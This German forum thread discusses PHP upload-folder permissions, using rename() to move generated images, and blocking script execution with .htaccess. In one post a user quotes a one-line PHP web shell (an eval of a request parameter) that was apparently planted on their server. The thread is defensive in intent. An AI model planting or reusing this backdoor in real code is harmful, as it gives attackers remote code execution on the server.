Rename Funktion

Alice

Erfahrenes Mitglied
Hallo.

Ich habe aktuell nicht die Möglichkeit meine Idee praktisch umzusetzen und es würde mich auch allgemein interessieren ob man für die Rename-Funktion bestimmte Rechte (CHMOD) braucht?

In Sachen Sicherheit heisst es ja immer wieder das man Ordner auf dem Server mit "777" Rechten (Vollzugriff) vermeiden soll.

Jedoch benötigt mein Skript aber zum speichern von Grafiken usw. aber so einen Ordner.

Wäre es Sinnvoll z.B. einen "using" Ordner mit Vollzugriff zu erstellen, die Grafiken aber am Ende des Skriptes mit der Rename-Funktion in ein anderes Verzeichnis mit wieder Rechten zu "verschieben"?
 
Der Ordner muss nicht 777 haben, dass ist ein oft verbreiteter Irrtum. Es genügt vollkommen, wenn der Ordner 700 hat. Dazu muss er aber dem Benutzer (www, apache, $whatever) gehören.

Ein Ordner muss mindestens 1+4 haben, damit man in ihn rein wechseln kann, das Execute-Bit wird benötigt. Das Write-Bit wird benötigt, um neue Einträge im Ordner hinterlegen zu können. Also geht nicht kleiner als 7.
 
Ordner A (CHMOD 700)
Ordner B (CHMOD ?)

Das PHP-Skript speichert nun die Grafik in "Ordner A".

Welche Rechte braucht dann "Ordner B" wenn die Grafik mit der Rename-Funktion von "Ordner A" nach "Ordner B" verschoben wird?
 
Ich denke mal, du brauchst gar keinen Ordner B, denn du bräuchtest auf B auch mindestens 7. Leg deinen Ziel-Ordner mit 755 an, geb als Eigentümer den Webserver-User und alles ist Ordnung.

777 bedeutet:

- lesen/schreiben/ausführen für Eigentümer
- l/s/a für Gruppe
- l/s/a für alle anderen Accounts, die weder Eigentümer noch Mitglied der Gruppe sind, welcher der Ordner gehört.

Edit: Noch mal etwas klarer, was die Zahlen bedeuten:

4 = Lesen
2 = Schreiben
1 = Ausführen
 
Ich versuche nur in Sachen Sicherheit den Ordner so gut es geht abzusichern.

.htaccess
PHP:
RedirectMatch 404 .*php\.
 
Ich versuche nur in Sachen Sicherheit den Ordner so gut es geht abzusichern.

Das ist ja legitim, aber man muss es nicht komplizierter machen, als es ist.

Warum machst du das .htaccess? Willst du auch PHP-Scripts im Ordner hinterlegen? Ich würde davon abraten, noch dazu, wenn es sich um einen Ordner handelt, der Upload-Material enthält ;-) Leg den DirectoryIndex auf index.html und setz die Option -Indexes.
 
Nein der Ordner enthält nur Grafiken die das PHP-Skript generiert.

Die .htaccess Datei soll falls ein Hacker es schaffen sollte eine PHP-Datei einzuschleusen, unterbinden das diese ausgeführt wird.

Ich habe die selbe Datei aber auch in meinem "Avatar-Ordner". Also wo man Sachen uploaden kann.

Wieso soll das schlimm sein?
 
Das ist nicht schlimm aber an der falschen Stelle angesetzt. Sorg doch einfach dafür, das ein Hacker kein Script dort einschleusen kann. Wenn es jemand schafft, eine Datei abzulegen, die du nicht erwartest, hast du bereits einen Fehler begangen. Der mag dann zwar deinen Webserver nicht beeinflussen, aber man kann deinen Webserver dann für andere Dinge missbrauchen, z.B. verteilen von Schadsoftware... Das willst du nicht wirklich - könnte Regress bedeuten

Dabei ist es doch gar nicht so schwer. Es gibt Funktionen wie getimagesize() oder mime_content_type.

EDIT: Wenn du das Ausführen von PHP-Scripts in einem bestimmten Ordner unterbinden willst, wäre es besser, wenn du eine der folgenden Methoden benutzt: http://www.electrictoolbox.com/disable-php-apache-htaccess/
 
Zuletzt bearbeitet:
Bei diesem einen Upload-Ordner handelt es sich um das Standard-Verzeichnis von der vBulletin-Software.

Avatare, Anhänge usw. werden ja in den jeweiligen Ordner gespeichert. Wie soll ich prüfen ob jemand eine GIF-Datei mit Schadcode uploadet?

Dann wird der Schadcode auch noch irgendwie ausgeführt und zack ist irgendwo auf dem Server eine PHP-Datei mit z.B. folgendem Inhalt.
PHP:
<?php if (isset($_REQUEST['p1'])) eval(stripslashes($_REQUEST['p1']));

Alles schon erlebt...
 
Wie soll diese .gif-Datei vom PHP-Parser interpretiert werden? Wer ist so verrückt, die Endung .gif mittels AddType an den PHP-Parser zu übergeben? Ein .gif im Browser sorgt dafür, dass das Bild nicht dargestellt werden kann. Mehr nicht. Aber bitte klär mich auf, ich hab grad keine Idee, wie das zu bewerkstelligen wäre.
 
Zurück